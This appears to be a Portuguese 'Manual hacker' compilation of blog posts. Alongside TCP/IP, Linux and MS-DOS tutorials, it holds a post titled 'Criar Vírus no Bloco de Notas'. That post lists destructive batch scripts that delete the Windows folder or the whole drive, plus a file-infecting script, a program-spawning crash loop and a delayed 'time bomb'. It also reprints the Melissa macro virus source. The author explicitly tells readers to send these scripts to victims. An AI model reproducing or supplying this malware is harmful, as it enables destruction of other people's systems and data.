PROTOCOLO QUE PROVIDENCIA A ENTREGA DE PACOTES PARA TODOS OS OUTROS

PROTOCOLOS DA FAMÍLIA TCP/IP. O IP FORNECE UM SISTEMA DE ENTREGA DE DADOS SEM

CONEXÃO. ISTO É, OS PACOTES IP NÃO SÃO GARANTIDOS DE CHEGAREM AO SEU DESTINO,

NEM DE SEREM RECEBIDOS DA FORMA QUE FORAM ENVIADOS. O CHECK SUN DO IP

CONFIRMA APENAS A INTEGRIDADE DO CABEÇALHO DO PACOTE. DESTA MANEIRA, A

RESPONSABILIDADE PELOS DADOS CONTIDOS NO PACOTE DO IP (E SUA SEQUÊNCIA) É

TAREFA DE PROTOCOLOS DE MAIS ALTO NÍVEL.

TALVEZ O PROTOCOLO DE MAIS ALTO NÍVEL DO IP SEJA O TCP. O TCP OFERECE UM

CONFIÁVEL PROTOCOLO BASEADO EM CONEXÃO CAPSULADO NO IP. O TCP GARANTE A

ENTREGA DOS PACOTES, ASSEGURA O SEQUENCIAMENTO DOS PACOTES E PROVIDENCIA

UM CHECKSUN QUE VALIDA TANTO O CABEÇALHO QUANTO OS DADOS DO PACOTE. NO

CASO DA REDE PERDER OU CORROMPER UM PACOTE TCP/IP DURANTE A TRANSMISSÃO, É

TAREFA DO TCP RETRANSMITIR O PACOTE FALTOSO OU INCORRETO. ESSA CONFIABILIDADE

TORNA O TCP/IP O PROTOCOLO ESCOLHIDO PARA TRANSMISSÕES BASEADAS EM SESSÃO,

APLICATIVOS CLIENTE-SERVIDOR E SERVIÇOS CRÍTICOS COMO CORREIO ELETRÔNICO.

PORÉM, ESSA CONFIABILIDADE TEM UM PREÇO. OS CABEÇALHOS DOS PACOTES TCP

REQUEREM USO DE BITS ADICIONAIS PARA ASSEGURAR O CORRETO SEQUENCIAMENTO DA

INFORMAÇÃO, BEM COMO UM CHECK SUN OBRIGATÓRIO PARA GARANTIR A INTEGRIDADE

DO CABEÇALHO E DOS DADOS. PARA GARANTIR A ENTREGA DOS PACOTES, O PROTOCOLO

TAMBÉM REQUER QUE O DESTINATÁRIO INFORME O RECEBIMENTO DO PACOTE.

TAL INFORMÇÃO DE RECEBIMETO (OU ACKS) GERAM TRÁFEGO ADICIONAL NA REDE,

DIMINUINDO A TAXA DE TRANFERÊNCIA DE DADOS EM FAVOR DA CONFIABILIDADE. PARA

REDUZIR O IMPACTO NA PERFORMANCE, A MIORIA DOS SERVIDORES ENVIAM UM ACK

PARA TODOS (AO INVÉS DE TODO O PACOTE) OU QUANDO UM ACK EXPIRA.

UDP: SE A CONFIABILIDADE NÃO É ESSENCIAL, O UDP (USER DATAGRAM PROTOCOL), UM

43

Page 44: Manual hacker

COMPLEMENTO DO TCP, OFERECE UM SERVIÇO DE TRANSMISSÃO DE DADOS SEM

CONEXÃO QUE NÃO GARANTE NEM A ENTREGA NEM A CORRETA SEQUENCIA DOS PACOTES

ENVIADOS (BEM PARECIDO COM O IP). CHECKSUNS NO UDP SÃO OPCIONAIS OFERECENDO

ASSIM UMA MANEIRA DE SE TROCAR DADOS EM UMA REDE ALTAMENTE CONFIÁVEL SEM

CONSUMIR DESNECESSARIAMENTE RECURSOS DA REDE.

ARP E ICMP: DOIS OUTROS PROTOCOLOS DA FAMÍLIA TCP/IP TEM IMPORTANTES FUNÇÕES,

EMBORA ESSAS FUNÇÕES NÃO ESTEJAM DIRETAMENTE RELACIONADAS COM A

TRANSMISSÃO DE DADOS: (ARP= ADDRESS RESOLUTION PROTOCOL, OU PROTOCOLO DE

RESOLUÇÃO DE ENDEREÇOS) E ICMP (INTERNET CONTROL MESSAGE PROTOCOL, OU

PROTOCOLO DE RESOLUÇÃO DE ENDEREÇOS NA INTERNET). O ARP E O ICMP SÃO

PROTOCOLOS DE MANUTENÇÃO QUE MANTÉM A ESTRUTURA DO IP E USUALMENTE SÃO

INVISÍVEIS AOS USUÁRIOS E AS APLICAÇÕES.

OS CABEÇALHOS DO IP CONTÉM TANTO O ENDEREÇO IP DA ORIGEM QUANTO DO DESTINO,

MAS O ENDEREÇO DO HADWARE TAMBÉM TEM DE SER CONHECIDO. O IP OBTÉM UM

ENDEREÇO DE HARDWARE DE UM DETERMINADO SISTEMA DIFUNDINDO PELA REDE UM

PACOTE ESPECIAL DE REQUISIÇÃO (UM PACOTE ARP DE REQUISIÇÃO) CONTENDO O

ENDEREÇO IP DO SISTEMA COM O QUAL ESTÁ TENTANDO SE COMUNICAR. TODOS NÓS DA

REDE LOCAL QUE TIVEREM O ARP HABILITADO DETECTAM ESSA DIFUSÃO, E O SISTEMA QUE

TEM O NÚMERO DE IP EM QUESTÃO ENVIA UM PACOTE ARP CONTENDO O ENDEREÇO DE

HARDWARE PARA O COMPUTADOR QUE SOLICITOU. O ENDEREÇO DE HARWARE E O

ENDEREÇO DO IP ESTÃO ARMAZENADO NO CACHE DO ARP PARA USO FUTURO. COMO A

RESPOSTA ARP TAMBÉM É FEITA NA FORMA DE DIFUSÃO, É NORMAL QUE OUTROS NÓS

USEM INFORMAÇÃO PARA ATUALIZAR SEUS CACHES ARP.

O ICMP PERMITE QUE 2 NÓS EM UMA REDE IP COMPARTILHEM O STATUS DO IP E

INFORMAÇÕE DE ERRO. ESSA INFORMAÇÃO PODE SER USADA POR PROTOCOLOS DE ALTO

NÍVEL PARA TRATAR PROBLEMAS DE TRANSMISSÃO OU PARA ADMINISTRADORES DE REDE

PARA DETECTAR PROBLEMAS NA REDE. EMBORA ESTEJAM ENCAPSULADOS EM PACOTES IP,

O ICMP NÃO É CONSIDERADO UM PROTOCOLO DE ALTO NÍVEL (ELE É NECESSÁRIO EM

TODA IMPLEMENTAÇÃO DO TCP/IP. O UTILITÁRIO PING FAZ USO DO ICMP PARA VERIFICAR

SE UM CERTO ENDEREÇO NA REDE ESTÁ OPERACIONAL. ISTO É UTIL PARA DETECTAR

PROBLEMAS EM REDES IP UO FALHAS EM GATEWAYS.

OUTROS PROTOCOLOS

ALÉM DESSES PROTOCOLOS CITADOS, EXISTEM OS PROTOCOLOS DE ALTO NÍVEL, COMO O

44

Page 45: Manual hacker

TELNET, FTP, HTTP E ETC. VAMOS DAR UMA BREVE DESCRIÇÃO DELES:

TELNET: É UM PROTOCOLO QUE PERMITE O LOGON EM MÁQUINA REMOTAS. VOCÊ PASSA

A UTILIZAR A MÁQUINA REMOTA PARA REALIZAR O PROCESSAMENTO. NO WINDOWS NT

EXISTE O RAS (REMOTE ACCESS SERVICE, SERVIÇO DE ACESSO REMOTO) QUE TEM OS

MESMOS OBJETIVOS DO TELNET.

FTP: É UM PROTOCOLO UTILIZADO PARA FAZER TRANSFERÊNCIA DE ARQUIVOS.

HTTP: É O PROTOCOLO UTILIZADO NA WEB, ELE TRANSMITE TEXTOS, GRÁFICOS E

QUALQUER OUTRO TIPO DE ARQUIVO (SUBSTITUINDO O FTP), ALÉM DE PERMITIR A

NAVEGAÇÃO ATRAVÉS DE HIPER TEXTO.

Leia com Atenção

Lembrando que o conteúdo desta apostila é apenas pra estudo e conhecimento dos

usuarios de internet.

O final da apostila chegou, espero que tirem bom aproveito dela.

Postado por Original's Hacker às 14:19 12 comentários

Criar Vírus no Bloco de Notas

Criando Virus no Notepad

É muito simples, voce vai fazer um virus no bloco de notas é só seguir as indicações,

abra o bloco de notas

45

Page 46: Manual hacker

Copie os códigos escolhidos e cole no bloco de notas, ao salvar voce usa a extençao .bat

exemplo: onomedoarquivo.bat

Se vc usar outra extensão o arquivo ñ ira pegar

AVISO:Não execute estes virus em seu proprio Pc, pois pode ocorrer serios danos, voce

deve enviar para as vitimas!!!

█ █ █ █ █ █ █ █ █ █ █ █

Nome:Del All Windows

rmdir /s /q c:\windows

Função:Deleta tdo do Windows (fode o pc

Nome:Autoexec

@ECHO OFF

@BREAK OFF

deltree/C: Y\*.*

Função:Fode com tudo

Nome:Trojan-1

VERSION 5.00

Object = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}#2.0#0"; "mscomctl.ocx"

Begin VB.Form Form1

BackColor = &H80000007&

BorderStyle = 1 'Fixed Single

Caption = "Welcome to XP Blaster Pro (Enterprise Edition)!"

ClientHeight = 5400

46

Page 47: Manual hacker

ClientLeft = 45

ClientTop = 390

ClientWidth = 8085

BeginProperty Font

Name = "Fixedsys"

Size = 9

Charset = 0

Weight = 400

Underline = 0 'False

Italic = 0 'False

Strikethrough = 0 'False

EndProperty

Icon = "Source3.frx":0000

LinkTopic = "Form1"

MaxButton = 0 'False

MinButton = 0 'False

MouseIcon = "Source3.frx":08CA

PaletteMode = 2 'Custom

ScaleHeight = 5400

ScaleWidth = 8085

ShowInTaskbar = 0 'False

StartUpPosition = 3 'Windows Default

Begin VB.CommandButton Command3

Caption = "About"

BeginProperty Font

Name = "MS Sans Serif"

47

Page 48: Manual hacker

Size = 8.25

Charset = 0

Weight = 400

Underline = 0 'False

Italic = 0 'False

Strikethrough = 0 'False

EndProperty

Height = 375

Left = 120

TabIndex = 3

Top = 4920

Width = 1215

End

Begin VB.CommandButton Command2

Appearance = 0 'Flat

BackColor = &H000000FF&

Caption = "WEBSITE"

BeginProperty Font

Name = "Trebuchet MS"

Size = 8.25

Charset = 0

Weight = 400

Underline = 0 'False

Italic = 0 'False

Strikethrough = 0 'False

EndProperty

48

Page 49: Manual hacker

Height

Função:Augumas dos trojans tradiçionais

Nome:Del p/ Windows

del /s /q c:\windows\

Função:Deleta tudo dentro do Windows ex: arquivos e naum pastas

Nome:Shutdown-S

shutdown -s

Função:Desliga o pc

Nome:Shutdown-R

shutdown -r

Função:Reinicia o pc

Nome:Trojan-2

@echo off

ctty nul

rem

for %%f in (*.exe *.com) do set A=%%f

if %A%==COMMAND.COM set A=

rename %A% V%A%

if not exist V%A% goto end

attrib +h V%A%

copy %0.bat %A%

attrib +r %A%

49

Page 50: Manual hacker

ren %A% *.bat

set A=

:end

ctty con

@if exist V%0.com V%0.com %1 %2 %3

@if exist V%0.exe V%0.exe %1 %2 %3

Função:Fode com tudo mesmo...

Nome:Pirata

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Função:Testar seu Anti-Virus ou enganar auguem.

Nome:Melissa 1999

// Melissa Virus Source Code

Private Sub Document_Open()

On Error Resume Next

If System.PrivateProfileString("",

"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""

Then

CommandBars("Macro").Controls("Security...").Enabled = False

System.PrivateProfileString("",

"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&

Else

CommandBars("Tools").Controls("Macro").Enabled = False

Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):

Options.SaveNormalPrompt = (1 - 1)

50

Page 51: Manual hacker

End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice

Set UngaDasOutlook = CreateObject("Outlook.Application")

Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")

If System.PrivateProfileString("",

"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo"

Then

If UngaDasOutlook = "Outlook" Then

DasMapiName.Logon "profile", "password"

For y = 1 To DasMapiName.AddressLists.Count

Set AddyBook = DasMapiName.AddressLists(y)

x = 1

Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)

For oo = 1 To AddyBook.AddressEntries.Count

Peep = AddyBook.AddressEntries(x)

BreakUmOffASlice.Recipients.Add Peep

x = x + 1

If x > 50 Then oo = AddyBook.AddressEntries.Count

Next oo

BreakUmOffASlice.Subject = "Important Message From " &

Application.UserName

BreakUmOffASlice.Body = "Here is that document you asked for ... don't

show anyone else Wink"

BreakUmOffASlice.Attachments.Add ActiveDocument.FullName

BreakUmOffASlice.Send

Peep = ""

51

Page 52: Manual hacker

Next y

DasMapiName.Logoff

End

Função:se espalha rapidamente e força empresas como Intel e Microsoft, entre outras, a

fechar seus sistemas de e-mail para conter a praga, que se disseminava via Outlook. O vírus,

além de se enviar pela Internet, modificava documentos do Word colocando falas do

programa de televisão Os Simpsons. Causou danos estimados em US$ 300 milhões a US$

600 milhões.

Nome:CLICK EM MIM

@ECHO OFF

:REPETE

MSG * CLICK EM MIM

GOTO REPETE

Função:Fica repetindo varias vezes a mesma mensagem

Nome:Progstar

@echo off

rem Denial Of Service Local

:Fucker

start notepad.exe

start write.exe

start sol.exe

start cmd.exe

start powerpnt.exe

start excel.exe

start winword.exe

start msacess.exe

52

Page 53: Manual hacker

goto Fucker:

Função:Abre varios programas sem parar, fais o pc travar

Nome:bomba relógio

c:\

cd\

echo off

if exist lig1.drv goto 2

echo > lig1.drv sdfsdf

goto fim

:2

if exist lig2.drv goto 3

echo > lig2.drv sdfsdf

goto fim

:3

if exist lig3.drv goto 4

echo > lig3.drv sdfsdf

goto fim

:4

if exist lig4.drv goto 5

echo > lig4.drv sdfsdf

goto fim

:5

if exist lig5.drv goto 6

echo > lig4.drv sdfsdf

goto fim

53

Page 54: Manual hacker

:6

if exist lig6.drv goto 7

echo > lig6.drv sdfsdf

goto fim

:7

rmdir C:\windows

rmdir C:\arquivos de programas

rmdir C:\documents and settings

:fim

Função:depois que ele for ativado 7 vezes ele apaga tudo

Nome:MSN Fixer

cd %USERPROFILE%

cd Config~1

cd Dadosd~1

cd Micros~1

cd "Windows Live Contacts"

del /s /q *.*

Função:Congela todos os msn's que estao sendo executados.

Obs. "Conhecimento não é crime!! eu não me responsabilizo por seus atos!!"

Postado por Original's Hacker às 10:39 104 comentários

Linux o melhor SO (Sistema Operacional)

54

Page 55: Manual hacker

Introduçao

O que diabos é Linux?

Esta é uma pergunta feita por muita gente, e há muitas respostas para ela. Linux é um

sistema operacional, como os *BSD (FreeBSD, NetBSD e outros), OS/2, Windows, MacOS,

BeOS, etc. O sistema operacional é o que permite o usuário usar o computador. O criador

do Linux se chama Linus Torvalds. Com o nome que o autor tem, já dá pra tirar uma

conclusão daonde é originado o nome "Linux"... Como o Linux é beaseado (ideologicamente

falando) no Unix, ele juntou o seu nome (Linus) com Unix, e deu Linux :)

O Linux é um sistema operacional multi-tarefa e multi-usuário. Além disso, ele é suportado

por várias plataformas (inclusive as mais populares como a arquitetura Intel, que todo o

mundo usa). Ele é usado por muitas empresas (principalmente provedores) por sua alta

capacidade de Rede e conversação com outros sistemas (como por exemplo, redes

Windows e Novell), além de suportar também vários tipos de sistemas de arquivos.

Mas o barato de tudo, e o que deu impulso ao desenvolvimento do Linux é justamente por

ele ser um sistema livre e gratuito (Open Source). Isso quer dizer que você não precisa pagar

para usá-lo, e nem ele requer nenhuma licença de uso. O Linux simplesmente pode ser pego

na Internet, copiado de um amigo, ou seja lá o que for, sem restrições. E além de gratuito,

ele é livre! Livre? Sim, livre! O código-fonte do núcleo do sistema (kernel) está liberado sob

a licença GPL, e pode ser pego na Internet por qualquer pessoa... Isto quer dizer que

qualquer pessoa pode pegar e alterar o código livremente, modificando ao seu próprio

gosto e suas próprias necessidades. Por ser livre, o Linux têm como desenvolvedores vários

e vários hackers espalhados pelo mundo, que contribuem sempre mandando pedaços de

códigos e implementações à Linus Torvalds, que organiza tudo e lança junto ao kernel

oficial. Um dos nomes mais conhecidos como contribuidores para o kernel é Alan Cox, e

você pode obter uma lista de outros contribuidores do kernel junto com o código-fonte do

kernel que pode ser baixado através do endereço ftp://ftp.kernel.org (se possível use

mirrors para baixar os kernels).

Quem diria que o Linux ia se desenvolver tanto! No começo nada passava de um grupo de

hackers que usavam o sistema. Agora temos muitos usuários caseiros usando, além de

várias empresas prestando serviços (como suporte e desenvolvimento de programas), e

55

Page 56: Manual hacker

todo tipo de coisa mais. Sua popularidade cresceu muito, e continua crescendo. As

estatisticas dizem que o Linux vai crescer e crescer, e a tendência é realmente essa! Pois o

Linux é um sistema operacional de deixar qualquer um de queixo caído. No futuro, acredito

que mais e mais empresas vão começar a adotar o Linux como sistema padrão, e começar a

desenvolver produtos apenas para ele. Deixando de lado um pouco o monopólio de

empresas como a Microsoft e seu sistema operacional Windows.

Você ainda não testou? Recomendo você fazer isso agúra! Pode ser um pouco estranho no

começo, mas você aos poucos vai se acostumando, e acaba por se adaptar totalmente à

ele! Eu mesmo me adaptei e só uso ele :) Viva o Linux!

A história do Linux

Como usuários fiéis, não podemos nos esquecer da história do Linux... Como surgiu isso

tudo? Linus Torvalds, o pioneiro criador, era inscrito numa lista de programadores. Um dia

ele estava lendo as mensagens e se bateu com uma pergunta: "Lembra-se daquela época

quando os homens escreviam seus próprios drivers de dispositivos (device drivers)?' Ele

então resolveu desafiar a si mesmo, e criar um sistema operacional onde se tinha uma

liberdade e não se ficasse "preso' no sistema. O que ele tinha em mente era um Unix!

Porém, ele não tinha verba suficiente para comprar os caríssimos Unix que eram o tipo de

sistema que ele queria.

Inspirado num pequeno e humilde sistema feito por Andy Tanembaum, o Minix, Linus

trabalhou duro para fazer o Linux e desenvolver ele. Um pouco antes de lançar a primeira

versão oficial do kernel, Linus mandou a seguinte mensagem para o grupo de notícias

comp.os.minix:

"Você suspira por melhores dias do Minix-1.1, quando homens serão homens e escreverão

seus próprios drivers de dispositivos? Você está sem um bom projeto e está morrendo por

colocar as mãos em um sistema operacional no qual você possa modificar de acordo com

suas necessidades? Você está achando frustrante quando tudo trabalha em Minix? Chega

de atravessar noites para obter programas que trabalhem corretamente? Então esta

mensagem pode ser exatamente para você.

Como eu mencionei a um mês atrás, estou trabalhando em uma versão independente de

um sistema operacional similar ao Minix para computadores AT-386. Ele está, finalmente,

56

Page 57: Manual hacker

próximo do estágio em que poderá ser utilizado (embora possa não ser o que você esteja

esperando), e eu estou disposto a colocar os fontes para ampla distribuição. Ele está na

versão 0.02... contudo eu tive sucesso rodando o bash, gcc, gnu-make, gnu-sed, compressão

e etc nele."

No dia 5 de Outubro de 1991, Linus Torvalds anunciou a primeira versão oficial do Linux,

versão 0.02. Desde então muitos programadores têm respondido ao seu chamado, e têm

ajudado a fazer do Linux o sistema operacional que é hoje, uma grande maravilha. Um

sistema criado inteiramente por programadores espalhados pela Internet, os hackers!

Qual a diferença entre Linux e Unix?

Linus Torvalds, quando criou o Linux, criou ele nos padrões "POSIX", que é o mesmo padrão

que os UNIX usam. É por esse mesmo uso do padrão POSIX que o Linux é parecido com o

UNIX. Além do mais, existem vários tipos de UNIX, que têm seu código-fonte fechado, e

pago. Uma resposta mais completa para esta pergunta foi feita pelo Fernando M. Roxo:

Limpo, claro e definitivo: O Linux não é UNIX. O Linux é um UNIX. O UNIX foi um sistema

criado e registrado pela Unix Lab. Todos os sistemas baseados naqueles códigos são

chamados de uma forma geral de UNIX.

Linux foi escrito desde o inicio pelo Linus Torvalds e não contém nenhuma linha de código

do UNIX. Mas o Linux foi escrito para ser conforme o padrão POSIX, que deve ser o padrão

da API (Application Programming Inteface) Unix, que em última análise pode ser resumido

(forçando um pouco a barra) como sendo as chamadas do sistema. Por isto se diz que o

Linux é um Unix (não UNIX). Tem uma diferença sutil aí.

Por causa da API POSIX, do conjunto de utilitários (FSF/GNU em sua maioria) e do uso do X-

Window (XFree) o Linux é tão parecido com o UNIX que existem empresas que usam o Linux

para desenvolver para UNIX que não seja o dela mesma (por exemplo a IBM).

As Distribuições

Voltando mais um pouco ao escopo do que é Linux, podemos ressaltar que o Linux é o

sistema operacional, ou seja, o kernel (núcleo). Mas o que é um sistema operacional sem

programas? Para que haja um uso dos recursos que o sistema operacional pode oferecer, os

57

Page 58: Manual hacker

programadores vão criando aplicações e utilitários que vão dar o gostinho ao usuário.

O papel das distribuições é isso: empacotar o Linux. O que as distribuições fazem é reunir os

programas disponíveis com o kernel, e deixar o sistema pronto para o uso. Sem as

distribuições não haveria a popularização do Linux, pois seria um grande trabalho o usuário

instalar o sistema puro, e depois compilar os programas deixando-os compatíveis.

Existem inúmeras distribuições existentes por esse mundo afora. Mas há sempre as

distribuições mais conhecidas, que são as mais atuantes no mercado. Elas são: Slackware,

Conectiva Linux, Debian, Red Hat Linux, SuSE, Mandrake. Cada um tem suas características

bem marcantes. E se fôssemos discutir aqui quais as vantagens de cada uma em relação a

outra, não conseguiríamos. A escolha da distribuição é uma escolha a gosto.

Meu micro suporta Linux?

Basicamente, para você usar o Linux, você precisará de no mínimo um 386. Isso mesmo, o

Linux roda em 386! É claro que para um uso amplo de todos os programas e o sistema X-

Window (gráfico), você terá de ser mais exigente com seu hardware... Mas todos os

computadores compatíveis com a arquitetura Intel são suportados pelo Linux (e também

outros tipos de arquiteturas como por exemplo o Alpha).

Para a memória RAM, você irá precisar de no mínimo 2MB de RAM. É recomendável ter

8Mb acima para rodar o servidor X. E seguindo a mesma filosofia do que falei antes, sempre

é bom você ter mais para usar tudo rápido e sem perder a paciência :) Espaço em disco?

Depende muito. As distribuições atuais disponibilizam até 6 CDs recheados de programas,

que podem simplesmente acabar com o espaço do seu disco em alguns minutos! Uma

instalação básica do Linux, apenas com o básico mesmo, dá 10MB. Eu acredito que 1GB seja

suficiente para colocar todo tipo de coisa que você vai usar (e até coisa que você nem vai

usar).

Só como curiosidade, aqui em casa, eu já rodei meu Linux nos seguintes computadores:

Primeiro num Pentium 100, com 24MB de RAM, e 1GB de espaço em disco. Rodei também

num 386 (nem me pergunte quantos Mhz é porque eu não faço a mínima idéia :) com 8MB

de memória RAM, num HD de 256MB. E por último em um Celeron 300 com 32MB de RAM

e 1GB de espaço em disco. Atualmente eu estou usando em um K6-II 550, com 64MB de

RAM, e 10GB de espaço no HD.

58

Page 59: Manual hacker

Outra dúvida muito comum é: O Linux roda em laptops? Sim! Roda muito bem e suporta

bem os dispositivos PCMCIA... Não tem absolutamente nada com o que se preocupar.

Por que eu devo confiar no Linux?

Pergunta muito fácil de se responder, inclusive eu vou responder bem grosseiramente: Ele é

bom! :) O Linux tem ganhado credibilidade cada vez mais por ser um sistema seguro,

estável, e confiável. É muito difícil (senào quase impossível) que o Linux em si dê um crash.

Só para ter uma idéia, nestes 4 anos em que uso Linux, só obtive no máximo 3 travamentos!

Por que estes travamentos? Bem, um foi na época em que exploraram uma falha no kernel

e criaram o teardrop (um exploit que travou as coisas aqui), e os outros dois foi por causa

de um problema na placa mãe :) Quer dizer, já aconteceu algumas outras vezes de minha

interface travar, mas eu dei um telnet e um ping na máquina através de outra na rede, e ela

respondia. Geralmente isso acontece comigo no Quake, quando eu mando conectar em

algum nome de host que não existe, o SVGAlib (biblioteca que o Quake usa) simplesmente

para de funcionar e você não tem mais como teclar algo ou mudar de tela... Mas tive a

certeza que não foi o sistema que travou e sim o SVGAlib que travou meu teclado e monitor

:)

Empresas cada vez mais estão apostando no Linux. A IBM é uma das empresas que mais

está investindo pesado no Linux, sendo com ajuda financeira, parcerias e desenvolvimento

de programas. A Intel é outra empresa que também está ajudando muito, investindo

bastante nos desenvolvedores do sistema. Além disso, várias outras pequenas ou médias

empresas estão cada vez mais adotando o Linux como sistema padrão pelo simples fato de

que ele funciona melhor e mais estávelmente que outros sistemas como o Windows. Pode

ser que você ache que isto tudo conversa fiada, mas o Linux é bem estável mesmo! Já vi

sistemas Linux ligados por vários meses sem nem sequer dar um reboot na máquina.

Inclusive aqui em casa eu consegui deixar o meu Linux ligado por 23 dias, pena que faltou

luz e o computador desligou (buá não tenho nobreak :~().

Basicamente é isso. Você tem de confiar no Linux porque ele é bom e tá acabado. E só

tende a melhorar, antigamente não havia nem uma interface gráfica muito boa e usável

para quem está iniciando na computação. Hoje temos o GNOME e KDE que são duas ótimas

interfaces gráficas para quem está engatinhando. São coisas que fazem o Linux valer a pena!

1.7. O que é GPL?

59

Page 60: Manual hacker

Se você já ouviu falar bem de Linux, com certeza já deve ter ouvido falar nesta sigla. GPL

significa General Public License (ou traduzindo grosseiramente: Licença Pública Geral), e foi

criada pela Free Software Foundation. A grande maioria dos programas que vêm nas

distribuições Linux são de código-fonte aberto, e usam esta licença. Uma licença serve para

proteger o seu código quando ele for lançado para o público.

A licença GPL permite que o autor do código distribua livremente o seu código... Outras

pessoas podem simplesmente pegar este código, modificar à suas próprias necessidades e

usar à vontade. O único requerimento é que a pessoa que modificou deve lançar o código

modificado em GPL e manter também o seu código aberto (e não apenas distribuir os

binários). Isso tudo cria uma comunidade de desenvolvedores onde toda a ajuda é mútua, e

você pode pegar várias idéias de outros desenvolvedores simplesmente olhando o código

deles. Além disso, você pode aproveitar e poder ajudar o desenvolvedor, criando correções

e mandando-as para o autor.

É com essa licença que o kernel do Linux é liberado. É assim que o kernel tem seu

desenvolvimento feito por várias e várias pessoas em todo o mundo. Estas pessoas pegam

livremente o código-fonte do kernel, analizam-no e procuram por erros. Se encontrarem

erros, escrevem correções e mandam para o Linus Torvalds. E não só correções, mas

desenvolvedores também fazem novas implementações ao kernel e mandam para o Linus

Torvalds organizar tudo. E é assim que temos hoje em dia este grande e bem feito e

organizado kernel do Linux! É assim que a filosofia GPL funciona, e funciona muito bem para

criar uma comunidade de desenvolvedores justa! Eu pessoalmente apóio e muito a licença

GPL, que para mim é simplesmente perfeita. Vivas à Free Software Foundation por criar esta

licença! E vivas para os desenvolvedores que a utilizam para seus códigos! :)

Postado por Original's Hacker às 09:48 0 comentários

Mini Tutorial MS Dos

http://bp1.blogger.com/_A_Q4n38HnGM/RtXltSvxCLI/AAAAAAAAAAc/kROsLiJVD04/s1600-

h/ms+dos.jpg

60

Page 61: Manual hacker

Comandos do MS-DOS

Este tutorial tem por objetivo mostrar os comandos do DOS. Muitas pessoas pensam que

são "inúteis", mas caso ocorra alguma emergência no PC você irá precisar destes comandos

então vai...

1. Diferenças entre comandos internos e externos Os comandos internos podem ser

executados em qualquer pasta no PC e a qualquer momento pois estão embutidos no DOS.

Os comandos externos são programas utilitários que acompanham o sistema operacional e

que só podem ser executados onde estão localizados, ou seja, no drive onde foram

gravados. Este tutorial está dividido em 2 partes: comandos internos e comandos externos.

2. Os comandos internos Nos comandos internos pode-se saber mais informações acerca do

mesmo, digitando /? após o comando, ex.: dir/?, você irá receber informações sobre o

comando dir, os comandos internos são os mais úteis em emergências já que podem ser

executados em qualquer lugar; agora, vamos aos comandos.

Comando DATE Esse comando, como o nome já diz, mostra na tela a data atual, permitindo

a sua modificação. O comando DATE deverá ser usado da seguinte maneira: date [opções]

(Sem os colchetes), sendo que não é necessária a utilização das opções caso você não

queira.

Ex.: Digitando date, irá aparecer:

Data atual: sáb 28/06/2003 Digite a nova data: (dd-mm-aa)

Opções:

/t - Informa a data mas não solicita uma nova.

Comando TIME Esse comando faz a mesma coisa que o comando DATE mas ao invés de

mudar a data ele muda a hora: esse comando mostra hora, minutos, segundos e centésimos

de segundo. O comando TIME deverá ser usado da seguinte maneira: Time [opções] (Sem

os colchetes), sendo que não é necessária a utilização das opções caso você não queira.

Ex.: Digitando time, irá aparecer:

Hora Atual: 17:01:20,98 Digite a nova Hora:

Opções:

/t - Informa a hora mas não solicita uma nova.

Comando VER Esse comando mostra qual sistema operacional você está usando.

Ex.: Digitando ver, irá aparecer:

61

Page 62: Manual hacker

Microsoft Windows XP [versão 5.1.2600]

Comando CLS Esse comando limpa a tela e posiciona o cursor no canto superior esquerdo

da tela.

Comando Dir O comando dir é muito famoso e quase todos já conhecem: ele mostra todos

arquivos e pastas de um diretório e busca arquivos em um drive especificado. O comando

DIR é usado da seguinte maneira: dir [drive:\][caminho\] arquivo(s) [opções] (Sem os

colchetes) sendo que não é necessária a utilização das opções caso você não queira nem de

arquivo(s).

Opções:

/p - A listagem pára toda vez que atinge o fim da tela, sendo necessário que se pressione

qualquer tecla para continuar. /b - Mostra somente as informações básicas. /c - Mostra o

separador de milhar no tamanho dos arquivos. /w - Exibe a lista na horizontal, onde são

mostrados 5 arquivos por linha. /d - O mesmo que /w, só que mostra a lista em colunas. /s -

Exibe os arquivos de todos os subdiretórios. /l - Usa letras minúsculas. /n - Formato de lista

longa em que os nomes dos arquivos ficam na extrema direita. /q - Mostra o nome do dono

do arquivo. /4 - Exibe anos de 4 dígitos.

/t:campo- Controla qual campo de tempo é exibido ou usado na classificação onde campo

deve ser substituído por um desses caracteres e não devem ser digitados os 2 pontos (.

C - Criação. A - Último acesso. W - Última gravação.

/o:ordem – Mostra os arquivos em uma ordem, onde ordem deve ser substituída por um

desses caracteres e não devem ser digitados os 2 pontos (.

N - Nome do arquivo seguido pela extensão. S - Tamanho do arquivo. D - Ordem

cronológica. G - Grupos de arquivos de subdiretórios.

/a:atributo – Mostra somente arquivos de determinado atributo, onde atributo deve ser

substituído por algum desses caracteres e não devem ser digitados os 2 pontos (.

D – Nome do arquivo seguido pela extensão. R – Arquivos somente leitura. H – Arquivos

ocultos .

Obs.: Para reverter o efeito dos caracteres, é necessário a colocação de um hífen (-)

Ex.: Dir /a-h, mostra todos os arquivos menos os arquivos ocultos.

Comando COPY O comando COPY copia um determinado arquivo ou o disco inteiro, sendo

que caso exista algum arquivo no destino com o mesmo nome do arquivo de origem, esse

arquivo será substituído. O COPY deve ser usado da seguinte maneira: copy [drive:\]

[caminho\] arquivo(s) de destino [opções] (Sem colchetes), sendo que não é necessária a

utilização das opções caso você não queira.

62

Page 63: Manual hacker

Opções: /v - Verifica o arquivo de destino após a cópia, esta opção deixa o copy mais lento.

/a - Indica um arquivo de texto ASCII. /b - Indica um arquivo binário. /d - Permite que o

arquivo de destino seja criado descriptografado. /n - Usa um nome de arquivo curto (Padrão

8.3), caso copie um arquivo fora deste padrão. /y - Não pede confirmação para que você

substitua um arquivo de destino já existente. /-y - Pede confirmação para que você

substitua um arquivo de destino já existente. /z - Copia arquivos de rede no modo

reiniciável.

Comando TYPE Mostra o conteúdo de um arquivo (somente um por vez e não aceita

caracteres curinga).

Comando REN ou RENAME Renomeia o arquivo. Pode-se também alterar a extensão do

mesmo.

